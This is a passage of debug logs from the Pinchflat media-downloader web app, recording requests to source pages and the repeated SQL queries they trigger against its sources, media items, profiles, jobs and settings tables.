livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 07:22:12.842 [debug] QUERY OK source="media_items" db=0.4ms idle=2.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 07:22:12.843 [debug] QUERY OK source="sources" db=0.1ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 07:22:12.843 [debug] QUERY OK source="media_items" db=0.1ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [36] 07:22:12.843 [debug] QUERY OK source="media_items" db=0.2ms idle=1.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 07:22:12.844 [debug] QUERY OK source="sources" db=0.0ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 07:22:12.845 [debug] QUERY OK source="media_items" db=0.2ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [36] 07:22:12.845 [debug] QUERY OK source="media_items" db=0.3ms idle=1.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 07:22:12.846 [info] Sent 200 in 10ms 07:22:13.299 [info] GET /sources/30 07:22:13.299 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "30"} Pipelines: [:browser] 07:22:13.300 [debug] QUERY OK source="sources" db=0.2ms idle=456.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 07:22:13.300 [debug] QUERY OK source="media_profiles" db=0.1ms idle=455.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:22:13.301 [debug] QUERY OK source="tasks" db=0.1ms idle=455.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [30, "executing", "available", "scheduled", "retryable"] 07:22:13.301 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=455.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7280] 07:22:13.301 [debug] QUERY OK source="settings" db=0.1ms idle=27.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:13.302 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:13.302 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:13.304 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 07:22:13.305 [debug] QUERY OK source="media_items" db=0.5ms idle=2.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 07:22:13.305 [debug] QUERY OK source="media_items" db=0.7ms idle=3.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 07:22:13.306 [debug] QUERY OK source="sources" db=0.2ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 07:22:13.306 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [30] 07:22:13.307 [debug] QUERY OK source="media_items" db=0.5ms idle=2.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 07:22:13.308 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 07:22:13.309 [debug] QUERY OK source="media_items" db=0.5ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [30] 07:22:13.309 [debug] QUERY OK source="media_items" db=0.7ms idle=2.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 07:22:13.311 [info] Sent 200 in 11ms 07:22:13.800 [info] GET /sources/35 07:22:13.800 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "35"} Pipelines: [:browser] 07:22:13.801 [debug] QUERY OK source="sources" db=0.2ms idle=494.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 07:22:13.801 [debug] QUERY OK source="media_profiles" db=0.1ms idle=494.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:22:13.802 [debug] QUERY OK source="tasks" db=0.2ms idle=493.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [35, "executing", "available", "scheduled", "retryable"] 07:22:13.802 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=493.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7277] 07:22:13.802 [debug] QUERY OK source="settings" db=0.1ms idle=492.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:13.803 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:13.803 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:13.805 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 07:22:13.805 [debug] QUERY OK source="media_items" db=0.2ms idle=2.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [35] 07:22:13.806 [debug] QUERY OK source="media_items" db=0.5ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 07:22:13.807 [debug] QUERY OK source="sources" db=0.1ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 07:22:13.807 [debug] QUERY OK source="media_items" db=0.1ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [35] 07:22:13.807 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 07:22:13.808 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 07:22:13.808 [debug] QUERY OK source="media_items" db=0.2ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [35] 07:22:13.809 [debug] QUERY OK source="media_items" db=0.4ms idle=1.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 07:22:13.810 [info] Sent 200 in 9ms 07:22:14.307 [info] GET /sources/33 07:22:14.307 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "33"} Pipelines: [:browser] 07:22:14.308 [debug] QUERY OK source="sources" db=0.6ms idle=500.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", 